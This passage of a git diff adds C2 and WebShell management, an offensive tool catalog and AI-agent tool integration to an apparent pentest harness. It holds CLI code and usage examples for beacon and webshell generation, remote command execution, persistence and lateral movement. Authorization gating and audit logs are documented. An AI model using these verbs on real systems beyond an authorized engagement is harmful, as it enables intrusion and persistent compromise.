diff --git a/README.md b/README.md index dac4c6b..b3e5f9d 100755 --- a/README.md +++ b/README.md @@ -111,6 +111,22 @@ No subscription? Use an **API key** for any provider instead — see [TUTORIAL.m | **Container** | `neurosploit container ` | OCI image scan + SBOM (trivy/grype/syft) | | **Mission Control** | `neurosploit tui ` | live TUI panels + a composer you type in mid-run | +## Add-ons: Toolbox, MCP tool servers, C2 & WebShells + +- **Toolbox (225 tools, opt-in).** Run the right pentest tool instead of only + curl/scripts: nmap, rustscan, httpx, nuclei, ffuf, netexec, impacket, + bloodhound, trivy, apktool, ghidra and more. `neurosploit tools list` / + `run nmap --target 10.0.0.5`; `--tools` gives agents the doctrine and + `--agent-tools` lets API models request cataloged tools in a bounded loop. +- **MCP tool servers.** Curated nmap / Kali / Playwright / Burp / REA templates: + `neurosploit tools mcp add nmap`, then run with `--mcp`. +- **C2 & WebShell management (authorized internal engagements only).** Disabled + by default; enabling requires an authorization reference. Listeners, sessions, + tasks, payloads, persistence/lateral opt-ins, WebShell exec/file ops, and an + append-only audit trail under `.neurosploit/c2/`. + +See [`docs/TOOLBOX.md`](docs/TOOLBOX.md) for guardrails and the full surface. + ## What makes it different - **The harness is the pentester.** Agent selection is recon-driven; findings diff --git a/docs/TOOLBOX.md b/docs/TOOLBOX.md new file mode 100644 index 0000000..39439ed --- /dev/null +++ b/docs/TOOLBOX.md @@ -0,0 +1,128 @@ +# Toolbox, MCP tool servers, C2 & WebShells + +These are **opt-in add-ons**. A normal engagement behaves exactly as before. + +## Toolbox — 200+ real tools + +NeuroSploit ships an embedded catalog (`neurosploit-rs/tools/toolbox.json`, +**225 entries**) so the model and the operator can run the right tool instead of +only `curl` or a hand-written Python script. + +| Category | Examples | +|---|---| +| `recon` | subfinder, amass, gau, waybackurls, katana, dnsx, theHarvester | +| `web` | httpx, whatweb, wafw00f, nuclei, ffuf, feroxbuster, sqlmap, dalfox, jwt_tool, arjun | +| `network` | **nmap**, **rustscan**, masscan, naabu, smbmap, smbclient, snmpwalk, rpcclient | +| `ad` | netexec, enum4linux-ng, impacket (secretsdump/GetUserSPNs/psexec), bloodhound-python, kerbrute, certipy, responder, mitm6, evil-winrm | +| `cloud` / `container` | trivy, grype, syft, prowler, scoutsuite, checkov, kube-bench, kube-hunter, cloud_enum, s3scanner | +| `mobile` / `binary` | apktool, jadx, apkleaks, frida, objection, MobSF, Ghidra headless, radare2/rizin, binwalk, checksec | +| `exploit` / `creds` | metasploit, msfvenom, searchsploit, hashcat, john, hydra, medusa | +| `forensics` / `ai` | volatility3, foremost, exiftool, garak, promptfoo, pyrit | + +### CLI + +```bash +neurosploit tools list --json +neurosploit tools search kerberos +neurosploit tools info nmap +neurosploit tools check nmap --json # installed + version (no scan) +neurosploit tools profiles --json # recommended chain per mode + +# run a tool (target is appended when the args do not contain one) +neurosploit tools run nmap --target 10.0.0.5 --args='-sV -p 22,80,443' --json +neurosploit tools run rustscan --target 10.0.0.5 --args='--ulimit 5000 -- -sV' +neurosploit tools run httpx --target https://app.example.com +neurosploit tools run netexec --target 10.0.0.10 --args='smb 10.0.0.10 --shares' + +# explicit install only; add --sandbox to provision inside Kali +neurosploit tools install nmap +neurosploit tools run nmap --target 10.0.0.5 --provision --sandbox +``` + +The runner enforces engagement scope (when invoked from a run), operator +constraints ("no port scan", "passive only"), timeouts and a 256 KB output cap, +and appends every execution to `.neurosploit/toolbox/toolbox-audit.jsonl`. + +### Agent integration + +- `--tools` injects the toolbox doctrine into recon/exploit/chain prompts. +- `--agent-tools` additionally lets an **API-model** recon phase choose up to 6 + cataloged tools as JSON. The harness executes them through the same runner and + appends the raw output to recon facts. Unknown tools, out-of-scope targets and + constraint violations are rejected. +- Subscription agents (Claude Code / Codex / …) can already run shell commands; + the doctrine teaches them the `neurosploit tools` verbs. +- Without these flags, nothing changes. + +```bash +neurosploit run https://app --subscription --model anthropic:claude-opus-4-8 \ + --mcp --tools --agent-tools +``` + +## MCP tool servers + +Curated templates live in the harness (`toolbox::mcp_catalog`): + +| Server | Command | Notes | +|---|---|---| +| `nmap` | `npx -y gc-nmap-mcp` | `NMAP_PATH` is set automatically | +| `kali` | `kali-mcp` | install via `pipx install kali-mcp` or the Docker image | +| `playwright` | `npx -y @playwright/mcp@latest --headless --isolated` | JS-heavy targets | +| `burp` | HTTP `http://127.0.0.1:1337/v0.1` | adjust in `mcp.servers.json` | +| `rea` | `rea --mode binary` | mobile/native RE | +| `neurosploit` | `neurosploit mcp` | C2/WebShell + toolbox tools for any MCP client | + +```bash +neurosploit tools mcp list +neurosploit tools mcp add nmap # writes ./mcp.servers.json +neurosploit tools mcp test nmap +neurosploit tools mcp json kali + +# or select per run (merged into .mcp.json): +neurosploit run https://app --subscription --mcp --mcp-server nmap --mcp-server kali \ + --model anthropic:claude-opus-4-8 +``` + +NeuroSploit itself exposes MCP tools for this layer: `neurosploit_tool_list`, +`neurosploit_tool_info`, `neurosploit_tool_check`, `neurosploit_tool_run`, +`neurosploit_tool_mcp`. + +## C2 & WebShell (authorized internal engagements) + +The C2 layer is **disabled by default** and requires an authorization reference. + +```bash +neurosploit c2 enable --authorization "SOW-2026-001" --persistence --lateral +neurosploit c2 listener create --name lab --bind-port 8443 +neurosploit c2 listener start +neurosploit c2 payload beacon --listener --kind bash --json +neurosploit c2 session list +neurosploit c2 task exec --session --command 'id' --wait --json +neurosploit c2 task persist --session --method auto --wait --json +neurosploit c2 task lateral --session --command 'nmap -sV 10.0.0.6' --wait --json +neurosploit c2 disable +``` + +WebShell manager: + +```bash +neurosploit webshell add --url http://10.0.0.5/shell.php --password s3cret +neurosploit webshell test +neurosploit webshell exec --id --command 'id' +neurosploit webshell file --id --action list --path /var/www +``` + +Guardrails: loopback bind by default, private/loopback WebShell targets unless +allow-listed, persistence/lateral as separate opt-ins, 0600 state/payloads, and +an append-only audit log under `.neurosploit/c2/`. + +## Web console + +The console adds two views: + +- **Toolbox** — browse/search the catalog, check versions, run tools, install + explicitly, and manage MCP servers. +- **C2 & Shells** — enable C2 with an authorization reference, manage listeners, + sessions, tasks, payloads and WebShell connections. + +Relevant API endpoints are listed in [`web/API.md`](../web/API.md). diff --git a/neurosploit-rs/Cargo.lock b/neurosploit-rs/Cargo.lock index 9b18072..ebf91c5 100644 --- a/neurosploit-rs/Cargo.lock +++ b/neurosploit-rs/Cargo.lock @@ -949,6 +949,7 @@ dependencies = [ "futures", "neurosploit-harness", "ratatui", + "reqwest", "rustyline", "serde", "serde_json", diff --git a/neurosploit-rs/app/Cargo.toml b/neurosploit-rs/app/Cargo.toml index c1e0bdb..8a721a2 100644 --- a/neurosploit-rs/app/Cargo.toml +++ b/neurosploit-rs/app/Cargo.toml @@ -15,6 +15,7 @@ serde_json.workspace = true tokio.workspace = true anyhow.workspace = true futures.workspace = true +reqwest.workspace = true clap = { version = "4", features = ["derive"] } rustyline = "14" dialoguer = "0.11" diff --git a/neurosploit-rs/app/src/c2cli.rs b/neurosploit-rs/app/src/c2cli.rs new file mode 100644 index 0000000..89e221a --- /dev/null +++ b/neurosploit-rs/app/src/c2cli.rs @@ -0,0 +1,1141 @@ +//! `neurosploit c2 …` and `neurosploit webshell …` command surface. +//! +//! Every verb is a thin client of the local C2 control daemon, which owns +//! listeners, sessions, tasks and WebShell connections. That keeps the CLI, +//! the MCP tools, the REPL and the web console on one implementation and one +//! audit trail. The daemon is auto-started on first use (loopback only). + +use clap::Subcommand; +use serde_json::{json, Value}; +use std::path::PathBuf; + + +// --------------------------------------------------------------------------- +// C2 +// --------------------------------------------------------------------------- + +#[derive(Subcommand)] +pub enum C2Cmd { + /// Run the local control daemon in the foreground (auto-started on demand). + Daemon { + /// Control port (0 = ephemeral). + #[arg(long, default_value_t = 0)] + port: u16, + /// State directory (default: .neurosploit/c2). + #[arg(long)] + dir: Option, + }, + /// Show policy, listeners, sessions, tasks, webshells and recent events. + Status { + #[arg(long)] + json: bool, + }, + /// Enable C2 for this engagement. Requires an authorization reference. + Enable { + /// SOW / ticket / bug-bounty URL authorizing this work. + #[arg(long)] + authorization: String, + /// Allow persistence tasks on implants. + #[arg(long)] + persistence: bool, + /// Allow lateral-movement and upload tasks. + #[arg(long)] + lateral: bool, + /// Allow targets outside private address space (explicit opt-in). + #[arg(long)] + allow_public: bool, + /// Extra authorized host/domain (repeatable). + #[arg(long = "host")] + hosts: Vec, + #[arg(long)] + json: bool, + }, + /// Disable C2 and stop every listener. + Disable { + #[arg(long)] + json: bool, + }, + /// Update the stored policy without re-enabling. + Policy { + #[arg(long)] + authorized_by: Option, + #[arg(long)] + persistence: Option, + #[arg(long)] + lateral: Option, + #[arg(long)] + allow_public: Option, + #[arg(long = "host")] + hosts: Vec, + #[arg(long)] + json: bool, + }, + /// Listener management. + Listener { + #[command(subcommand)] + cmd: ListenerCmd, + }, + /// Session management. + Session { + #[command(subcommand)] + cmd: SessionCmd, + }, + /// Task management. + Task { + #[command(subcommand)] + cmd: TaskCmd, + }, + /// Payload generation. + Payload { + #[command(subcommand)] + cmd: PayloadCmd, + }, + /// Recent audit events from the C2 module. + Events { + #[arg(long, default_value_t = 50)] + limit: usize, + #[arg(long)] + json: bool, + }, +} + +#[derive(Subcommand)] +pub enum ListenerCmd { + /// List listeners. + List { + #[arg(long)] + json: bool, + }, + /// Create an HTTP beacon listener (not started yet). + Create { + #[arg(long)] + name: String, + #[arg(long, default_value = "127.0.0.1")] + bind_host: String, + #[arg(long, default_value_t = 8443)] + bind_port: u16, + /// Host the implant should call back to (defaults to bind_host). + #[arg(long)] + callback_host: Option, + #[arg(long, default_value_t = 5)] + sleep: u32, + #[arg(long, default_value_t = 0)] + jitter: u32, + #[arg(long)] + json: bool, + }, + /// Start a listener. + Start { + id: String, + #[arg(long)] + json: bool, + }, + /// Stop a listener. + Stop { + id: String, + #[arg(long)] + json: bool, + }, + /// Delete a listener and its sessions/tasks. + Delete { + id: String, + #[arg(long)] + json: bool, + }, +} + +#[derive(Subcommand)] +pub enum SessionCmd { + /// List sessions. + List { + #[arg(long)] + json: bool, + }, + /// Show one session. + Get { + id: String, + #[arg(long)] + json: bool, + }, + /// Change the beacon sleep/jitter for a session. + Sleep { + id: String, + #[arg(long, default_value_t = 5)] + seconds: u32, + #[arg(long, default_value_t = 0)] + jitter: u32, + #[arg(long)] + json: bool, + }, + /// Attach an operator note. + Note { + id: String, + #[arg(long)] + note: String, + #[arg(long)] + json: bool, + }, + /// Mark a session killed and cancel its queued tasks. + Kill { + id: String, + #[arg(long)] + json: bool, + }, +} + +#[derive(Subcommand)] +pub enum TaskCmd { + /// List tasks (optionally by session/status). + List { + #[arg(long)] + session: Option, + #[arg(long)] + status: Option, + #[arg(long)] + json: bool, + }, + /// Execute a shell command on a session. + Exec { + #[arg(long)] + session: String, + #[arg(long)] + command: String, + #[arg(long)] + wait: bool, + #[arg(long, default_value_t = 60)] + timeout: u64, + #[arg(long)] + json: bool, + }, + /// Install the generated persistence command (requires persistence policy). + Persist { + #[arg(long)] + session: String, + /// auto · cron · bashrc · systemd · schtasks · registry + #[arg(long, default_value = "auto")] + method: String, + #[arg(long)] + wait: bool, + #[arg(long, default_value_t = 60)] + timeout: u64, + #[arg(long)] + json: bool, + }, + /// Run a lateral-movement command (requires lateral policy). + Lateral { + #[arg(long)] + session: String, + #[arg(long)] + command: String, + #[arg(long)] + wait: bool, + #[arg(long, default_value_t = 60)] + timeout: u64, + #[arg(long)] + json: bool, + }, + /// Enqueue an arbitrary task type with a JSON payload. + Enqueue { + #[arg(long)] + session: String, + #[arg(long = "type")] + task_type: String, + /// JSON object payload, e.g. '{"path":"/etc"}'. + #[arg(long, default_value = "{}")] + payload: String, + #[arg(long)] + wait: bool, + #[arg(long, default_value_t = 60)] + timeout: u64, + #[arg(long)] + json: bool, + }, + /// Show a task and its output. + Get { + id: String, + #[arg(long)] + json: bool, + }, + /// Wait for a task to complete. + Wait { + id: String, + #[arg(long, default_value_t = 60)] + timeout: u64, + #[arg(long)] + json: bool, + }, + /// Cancel a queued task. + Cancel { + id: String, + #[arg(long)] + json: bool, + }, +} + +#[derive(Subcommand)] +pub enum PayloadCmd { + /// Generate a WebShell file (php, aspx, asp, jsp). + Webshell { + #[arg(long, default_value = "php")] + shell_type: String, + #[arg(long, default_value = "ns_pass")] + password: String, + #[arg(long, default_value = "pass")] + pass_param: String, + #[arg(long, default_value = "cmd")] + cmd_param: String, + #[arg(long)] + filename: Option, + #[arg(long)] + json: bool, + }, + /// Generate a C2 beacon (bash, python, powershell, php). + Beacon { + #[arg(long)] + listener: String, + #[arg(long, default_value = "bash")] + kind: String, + /// Override the callback host embedded in the payload. + #[arg(long)] + host: Option, + #[arg(long)] + filename: Option, + #[arg(long)] + json: bool, + }, + /// Generate a one-shot check-in command. + Oneliner { + #[arg(long)] + listener: String, + #[arg(long)] + json: bool, + }, + /// List generated payloads. + List { + #[arg(long)] + json: bool, + }, +} + +// --------------------------------------------------------------------------- +// WebShell +// --------------------------------------------------------------------------- + +#[derive(Subcommand)] +pub enum WebshellCmd { + /// List saved WebShell connections. + List { + #[arg(long)] + json: bool, + }, + /// Save a WebShell connection. + Add { + #[arg(long)] + url: String, + #[arg(long)] + name: Option, + #[arg(long, default_value = "")] + password: String, + #[arg(long, default_value = "php")] + shell_type: String, + #[arg(long, default_value = "POST")] + method: String, + #[arg(long, default_value = "cmd")] + cmd_param: String, + #[arg(long, default_value = "pass")] + pass_param: String, + /// auto · linux · windows + #[arg(long, default_value = "auto")] + os: String, + #[arg(long, default_value = "auto")] + encoding: String, + #[arg(long, default_value = "")] + note: String, + #[arg(long)] + json: bool, + }, + /// Update a saved connection (only the supplied fields change). + Update { + id: String, + #[arg(long)] + url: Option, + #[arg(long)] + name: Option, + #[arg(long)] + password: Option, + #[arg(long)] + shell_type: Option, + #[arg(long)] + method: Option, + #[arg(long)] + cmd_param: Option, + #[arg(long)] + pass_param: Option, + #[arg(long)] + os: Option, + #[arg(long)] + encoding: Option, + #[arg(long)] + note: Option, + #[arg(long)] + json: bool, + }, + /// Delete a saved connection. + Delete { + id: String, + #[arg(long)] + json: bool, + }, + /// Probe a connection, detect the target OS and whoami. + Test { + id: String, + #[arg(long)] + json: bool, + }, + /// Execute a command through a saved WebShell. + Exec { + #[arg(long)] + id: String, + #[arg(long)] + command: String, + #[arg(long)] + json: bool, + }, + /// File operation through a saved WebShell. + File { + #[arg(long)] + id: String, + /// list · read · write · upload · delete · mkdir · rename + #[arg(long)] + action: String, + #[arg(long, default_value = ".")] + path: String, + #[arg(long, default_value = "")] + content: String, + #[arg(long)] + target_path: Option, + #[arg(long)] + json: bool, + }, +} + +// --------------------------------------------------------------------------- +// Dispatch +// --------------------------------------------------------------------------- + +pub async fn handle_c2(cmd: C2Cmd) -> anyhow::Result<()> { + match cmd { + C2Cmd::Daemon { port, dir } => { + let dir = dir.unwrap_or_else(harness::c2::c2_dir); + harness::c2::run_daemon(dir, port).await?; + } + C2Cmd::Status { json } => { + let v = req("GET", "/api/status", None).await?; + if json { + print_json(&v); + } else { + print_status(&v); + } + } + C2Cmd::Enable { + authorization, + persistence, + lateral, + allow_public, + hosts, + json, + } => { + let body = json!({ + "authorization": authorization, + "persistence": persistence, + "lateral": lateral, + "allow_public": allow_public, + "hosts": hosts, + }); + let v = req("POST", "/api/enable", Some(body)).await?; + if json { + print_json(&v); + } else { + print_policy(v.get("policy")); + } + } + C2Cmd::Disable { json } => { + let v = req("POST", "/api/disable", None).await?; + if json { + print_json(&v); + } else { + println!("C2 disabled; listeners stopped."); + } + } + C2Cmd::Policy { + authorized_by, + persistence, + lateral, + allow_public, + hosts, + json, + } => { + let mut body = json!({}); + if let Some(v) = authorized_by { + body["authorized_by"] = json!(v); + } + if let Some(v) = persistence { + body["allow_persistence"] = json!(v); + } + if let Some(v) = lateral { + body["allow_lateral"] = json!(v); + } + if let Some(v) = allow_public { + body["allow_public_targets"] = json!(v); + } + if !hosts.is_empty() { + body["allowed_hosts"] = json!(hosts); + } + let v = req("POST", "/api/policy", Some(body)).await?; + if json { + print_json(&v); + } else { + print_policy(v.get("policy")); + } + } + C2Cmd::Listener { cmd } => handle_listener(cmd).await?, + C2Cmd::Session { cmd } => handle_session(cmd).await?, + C2Cmd::Task { cmd } => handle_task(cmd).await?, + C2Cmd::Payload { cmd } => handle_payload(cmd).await?, + C2Cmd::Events { limit, json } => { + let v = req("GET", &format!("/api/events?limit={limit}"), None).await?; + if json { + print_json(&v); + } else if let Some(events) = v.get("events").and_then(|e| e.as_array()) { + for e in events { + println!( + "{} [{}] {} — {}", + e.get("ts").and_then(|v| v.as_i64()).unwrap_or(0), + e.get("level").and_then(|v| v.as_str()).unwrap_or("info"), + e.get("kind").and_then(|v| v.as_str()).unwrap_or(""), + e.get("message").and_then(|v| v.as_str()).unwrap_or("") + ); + } + } + } + } + Ok(()) +} + +async fn handle_listener(cmd: ListenerCmd) -> anyhow::Result<()> { + match cmd { + ListenerCmd::List { json } => { + let v = req("GET", "/api/listeners", None).await?; + if json { + print_json(&v); + } else if let Some(items) = v.get("listeners").and_then(|x| x.as_array()) { + for l in items { + println!( + "{:<22} {:<16} {:<28} {}", + l.get("id").and_then(|v| v.as_str()).unwrap_or(""), + l.get("status").and_then(|v| v.as_str()).unwrap_or(""), + format!( + "{}:{}", + l.get("bind_host").and_then(|v| v.as_str()).unwrap_or(""), + l.get("bind_port").and_then(|v| v.as_u64()).unwrap_or(0) + ), + l.get("name").and_then(|v| v.as_str()).unwrap_or("") + ); + } + } + } + ListenerCmd::Create { + name, + bind_host, + bind_port, + callback_host, + sleep, + jitter, + json, + } => { + let body = json!({ + "name": name, + "bind_host": bind_host, + "bind_port": bind_port, + "callback_host": callback_host.unwrap_or_default(), + "sleep_seconds": sleep, + "jitter_percent": jitter, + }); + let v = req("POST", "/api/listeners", Some(body)).await?; + if json { + print_json(&v); + } else { + print_listener(v.get("listener")); + } + } + ListenerCmd::Start { id, json } => { + let v = req("POST", &format!("/api/listeners/{id}/start"), None).await?; + if json { print_json(&v) } else { print_listener(v.get("listener")); } + } + ListenerCmd::Stop { id, json } => { + let v = req("POST", &format!("/api/listeners/{id}/stop"), None).await?; + if json { print_json(&v) } else { println!("Listener {id} stopped."); } + } + ListenerCmd::Delete { id, json } => { + let v = req("DELETE", &format!("/api/listeners/{id}"), None).await?; + if json { print_json(&v) } else { println!("Listener {id} deleted."); } + } + } + Ok(()) +} + +async fn handle_session(cmd: SessionCmd) -> anyhow::Result<()> { + match cmd { + SessionCmd::List { json } => { + let v = req("GET", "/api/sessions", None).await?; + if json { + print_json(&v); + } else if let Some(items) = v.get("sessions").and_then(|x| x.as_array()) { + for s in items { + println!( + "{:<22} {:<8} {:<28} {}@{} ip={} note={}", + s.get("id").and_then(|v| v.as_str()).unwrap_or(""), + s.get("status").and_then(|v| v.as_str()).unwrap_or(""), + format!( + "{} {}", + s.get("hostname").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("os").and_then(|v| v.as_str()).unwrap_or("") + ), + s.get("username").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("internal_ip").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("internal_ip").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("note").and_then(|v| v.as_str()).unwrap_or("") + ); + } + } + } + SessionCmd::Get { id, json } => { + let v = req("GET", &format!("/api/sessions/{id}"), None).await?; + if json { + print_json(&v); + } else if let Some(s) = v.get("session") { + println!( + "{} {}@{} ({}/{}) ip={} status={} sleep={}s note={}", + s.get("id").and_then(|x| x.as_str()).unwrap_or(""), + s.get("username").and_then(|x| x.as_str()).unwrap_or("?"), + s.get("hostname").and_then(|x| x.as_str()).unwrap_or("?"), + s.get("os").and_then(|x| x.as_str()).unwrap_or("?"), + s.get("arch").and_then(|x| x.as_str()).unwrap_or("?"), + s.get("internal_ip").and_then(|x| x.as_str()).unwrap_or("?"), + s.get("status").and_then(|x| x.as_str()).unwrap_or("?"), + s.get("sleep_seconds").and_then(|x| x.as_u64()).unwrap_or(0), + s.get("note").and_then(|x| x.as_str()).unwrap_or(""), + ); + } + } + SessionCmd::Sleep { + id, + seconds, + jitter, + json, + } => { + let v = req( + "POST", + &format!("/api/sessions/{id}/sleep"), + Some(json!({"seconds": seconds, "jitter": jitter})), + ) + .await?; + if json { print_json(&v) } else { print_task(v.get("task")); } + } + SessionCmd::Note { id, note, json } => { + let v = req( + "POST", + &format!("/api/sessions/{id}/note"), + Some(json!({"note": note})), + ) + .await?; + if json { print_json(&v) } else { println!("Session note updated."); } + } + SessionCmd::Kill { id, json } => { + let v = req("DELETE", &format!("/api/sessions/{id}"), None).await?; + if json { print_json(&v) } else { println!("Session {id} killed."); } + } + } + Ok(()) +} + +async fn handle_task(cmd: TaskCmd) -> anyhow::Result<()> { + match cmd { + TaskCmd::List { + session, + status, + json, + } => { + let mut path = String::from("/api/tasks"); + let mut q = Vec::new(); + if let Some(s) = session { + q.push(format!("session_id={}", urlencode(&s))); + } + if let Some(s) = status { + q.push(format!("status={}", urlencode(&s))); + } + if !q.is_empty() { + path.push('?'); + path.push_str(&q.join("&")); + } + let v = req("GET", &path, None).await?; + if json { + print_json(&v); + } else if let Some(items) = v.get("tasks").and_then(|x| x.as_array()) { + for t in items { + println!( + "{:<22} {:<10} {:<10} {} → {}", + t.get("id").and_then(|v| v.as_str()).unwrap_or(""), + t.get("task_type").and_then(|v| v.as_str()).unwrap_or(""), + t.get("status").and_then(|v| v.as_str()).unwrap_or(""), + t.get("session_id").and_then(|v| v.as_str()).unwrap_or(""), + t.get("error").and_then(|v| v.as_str()).unwrap_or("") + ); + } + } + } + TaskCmd::Exec { + session, + command, + wait, + timeout, + json, + } => enqueue_task(&session, "exec", json!({"command": command}), wait, timeout, json).await?, + TaskCmd::Persist { + session, + method, + wait, + timeout, + json, + } => enqueue_task(&session, "persist", json!({"method": method}), wait, timeout, json).await?, + TaskCmd::Lateral { + session, + command, + wait, + timeout, + json, + } => enqueue_task(&session, "lateral", json!({"command": command}), wait, timeout, json).await?, + TaskCmd::Enqueue { + session, + task_type, + payload, + wait, + timeout, + json, + } => { + let payload: Value = serde_json::from_str(&payload) + .map_err(|e| anyhow::anyhow!("--payload must be a JSON object: {e}"))?; + enqueue_task(&session, &task_type, payload, wait, timeout, json).await?; + } + TaskCmd::Get { id, json } => { + let v = req("GET", &format!("/api/tasks/{id}"), None).await?; + if json { print_json(&v) } else { print_task(v.get("task")); } + } + TaskCmd::Wait { id, timeout, json } => { + let v = req("GET", &format!("/api/tasks/{id}/wait?timeout={timeout}"), None).await?; + if json { print_json(&v) } else { print_task(v.get("task")); } + } + TaskCmd::Cancel { id, json } => { + let v = req("POST", &format!("/api/tasks/{id}/cancel"), None).await?; + if json { print_json(&v) } else { println!("Task {id} cancelled."); } + } + } + Ok(()) +} + +async fn enqueue_task( + session: &str, + task_type: &str, + payload: Value, + wait: bool, + timeout: u64, + json: bool, +) -> anyhow::Result<()> { + let v = req( + "POST", + "/api/tasks", + Some(json!({"session_id": session, "task_type": task_type, "payload": payload, "source": "ai"})), + ) + .await?; + let id = v + .pointer("/task/id") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + if id.is_empty() { + return Err(anyhow::anyhow!("daemon did not return a task id")); + } + if wait { + let done = req("GET", &format!("/api/tasks/{id}/wait?timeout={timeout}"), None).await?; + if json { print_json(&done) } else { print_task(done.get("task")); } + } else if json { + print_json(&v); + } else { + println!("task {id} queued — follow with `neurosploit c2 task wait {id}`"); + } + Ok(()) +} + +async fn handle_payload(cmd: PayloadCmd) -> anyhow::Result<()> { + match cmd { + PayloadCmd::Webshell { + shell_type, + password, + pass_param, + cmd_param, + filename, + json, + } => { + let v = req( + "POST", + "/api/payloads/webshell", + Some(json!({"shell_type": shell_type, "password": password, "pass_param": pass_param, "cmd_param": cmd_param, "filename": filename})), + ) + .await?; + if json { print_json(&v) } else { print_payload(&v); } + } + PayloadCmd::Beacon { + listener, + kind, + host, + filename, + json, + } => { + let v = req( + "POST", + "/api/payloads/beacon", + Some(json!({"listener_id": listener, "kind": kind, "host": host, "filename": filename})), + ) + .await?; + if json { print_json(&v) } else { print_payload(&v); } + } + PayloadCmd::Oneliner { listener, json } => { + let v = req( + "POST", + "/api/payloads/oneliner", + Some(json!({"listener_id": listener})), + ) + .await?; + if json { print_json(&v) } else { print_payload(&v); } + } + PayloadCmd::List { json } => { + let v = req("GET", "/api/payloads", None).await?; + if json { + print_json(&v); + } else if let Some(items) = v.get("payloads").and_then(|x| x.as_array()) { + for p in items { + println!( + "{} {:<10} {:>8} bytes {}", + p.get("name").and_then(|v| v.as_str()).unwrap_or(""), + p.get("kind").and_then(|v| v.as_str()).unwrap_or(""), + p.get("size").and_then(|v| v.as_u64()).unwrap_or(0), + p.get("note").and_then(|v| v.as_str()).unwrap_or("") + ); + } + } + } + } + Ok(()) +} + +pub async fn handle_webshell(cmd: WebshellCmd) -> anyhow::Result<()> { + match cmd { + WebshellCmd::List { json } => { + let v = req("GET", "/api/webshells", None).await?; + if json { + print_json(&v); + } else if let Some(items) = v.get("webshells").and_then(|x| x.as_array()) { + for w in items { + println!( + "{} {:<28} {:<8} {:<8} {}", + w.get("id").and_then(|v| v.as_str()).unwrap_or(""), + w.get("url").and_then(|v| v.as_str()).unwrap_or(""), + w.get("shell_type").and_then(|v| v.as_str()).unwrap_or(""), + w.get("method").and_then(|v| v.as_str()).unwrap_or(""), + w.get("name").and_then(|v| v.as_str()).unwrap_or("") + ); + } + } + } + WebshellCmd::Add { + url, + name, + password, + shell_type, + method, + cmd_param, + pass_param, + os, + encoding, + note, + json, + } => { + let v = req( + "POST", + "/api/webshells", + Some(json!({ + "url": url, "name": name.unwrap_or_default(), "password": password, + "shell_type": shell_type, "method": method, "cmd_param": cmd_param, + "pass_param": pass_param, "os": os, "encoding": encoding, "note": note, + })), + ) + .await?; + if json { print_json(&v) } else { print_webshell(v.get("webshell")); } + } + WebshellCmd::Update { + id, + url, + name, + password, + shell_type, + method, + cmd_param, + pass_param, + os, + encoding, + note, + json, + } => { + let mut body = json!({}); + let mut set = |k: &str, val: Option| { + if let Some(v) = val { + body[k] = json!(v); + } + }; + set("url", url); + set("name", name); + set("password", password); + set("shell_type", shell_type); + set("method", method); + set("cmd_param", cmd_param); + set("pass_param", pass_param); + set("os", os); + set("encoding", encoding); + set("note", note); + let v = req("PUT", &format!("/api/webshells/{id}"), Some(body)).await?; + if json { print_json(&v) } else { print_webshell(v.get("webshell")); } + } + WebshellCmd::Delete { id, json } => { + let v = req("DELETE", &format!("/api/webshells/{id}"), None).await?; + if json { print_json(&v) } else { println!("WebShell {id} deleted."); } + } + WebshellCmd::Test { id, json } => { + let v = req("POST", &format!("/api/webshells/{id}/test"), None).await?; + if json { + print_json(&v); + } else { + println!( + "ok={} http={} os={}\n{}", + v.get("ok").and_then(|x| x.as_bool()).unwrap_or(false), + v.get("http_status").and_then(|x| x.as_u64()).unwrap_or(0), + v.get("detected_os").and_then(|x| x.as_str()).unwrap_or("?"), + v.get("output").and_then(|x| x.as_str()).unwrap_or("") + ); + } + } + WebshellCmd::Exec { id, command, json } => { + let v = req( + "POST", + &format!("/api/webshells/{id}/exec"), + Some(json!({"command": command})), + ) + .await?; + if json { + print_json(&v); + } else { + println!( + "http={} ok={}\n{}", + v.get("http_status").and_then(|x| x.as_u64()).unwrap_or(0), + v.get("ok").and_then(|x| x.as_bool()).unwrap_or(false), + v.get("output").and_then(|x| x.as_str()).unwrap_or("") + ); + } + } + WebshellCmd::File { + id, + action, + path, + content, + target_path, + json, + } => { + let v = req( + "POST", + &format!("/api/webshells/{id}/file"), + Some(json!({"action": action, "path": path, "content": content, "target_path": target_path})), + ) + .await?; + if json { + print_json(&v); + } else { + println!( + "http={} ok={}\n{}", + v.get("http_status").and_then(|x| x.as_u64()).unwrap_or(0), + v.get("ok").and_then(|x| x.as_bool()).unwrap_or(false), + v.get("output").and_then(|x| x.as_str()).unwrap_or("") + ); + } + } + } + Ok(()) +} + +async fn req(method: &str, path: &str, body: Option) -> anyhow::Result { + harness::c2::control_request(method, path, body) + .await + .map_err(anyhow::Error::msg) +} + +// --------------------------------------------------------------------------- +// Output helpers +// --------------------------------------------------------------------------- + +fn print_json(v: &Value) { + println!( + "{}", + serde_json::to_string_pretty(v).unwrap_or_else(|_| "{}".into()) + ); +} + +fn print_policy(p: Option<&Value>) { + let Some(p) = p else { + println!("(no policy)"); + return; + }; + println!( + "enabled={} authorization={:?} persistence={} lateral={} allow_public={} hosts={:?}", + p.get("enabled").and_then(|v| v.as_bool()).unwrap_or(false), + p.get("authorized_by").and_then(|v| v.as_str()).unwrap_or(""), + p.get("allow_persistence").and_then(|v| v.as_bool()).unwrap_or(false), + p.get("allow_lateral").and_then(|v| v.as_bool()).unwrap_or(false), + p.get("allow_public_targets").and_then(|v| v.as_bool()).unwrap_or(false), + p.get("allowed_hosts").cloned().unwrap_or(json!([])), + ); +} + +fn print_listener(l: Option<&Value>) { + let Some(l) = l else { + println!("(no listener)"); + return; + }; + println!( + "{} {}:{} status={} callback={} sleep={}s", + l.get("id").and_then(|v| v.as_str()).unwrap_or(""), + l.get("bind_host").and_then(|v| v.as_str()).unwrap_or(""), + l.get("bind_port").and_then(|v| v.as_u64()).unwrap_or(0), + l.get("status").and_then(|v| v.as_str()).unwrap_or(""), + l.get("callback_host").and_then(|v| v.as_str()).unwrap_or(""), + l.get("sleep_seconds").and_then(|v| v.as_u64()).unwrap_or(0), + ); +} + +fn print_task(t: Option<&Value>) { + let Some(t) = t else { + println!("(no task)"); + return; + }; + println!( + "{} {} status={}", + t.get("id").and_then(|v| v.as_str()).unwrap_or(""), + t.get("task_type").and_then(|v| 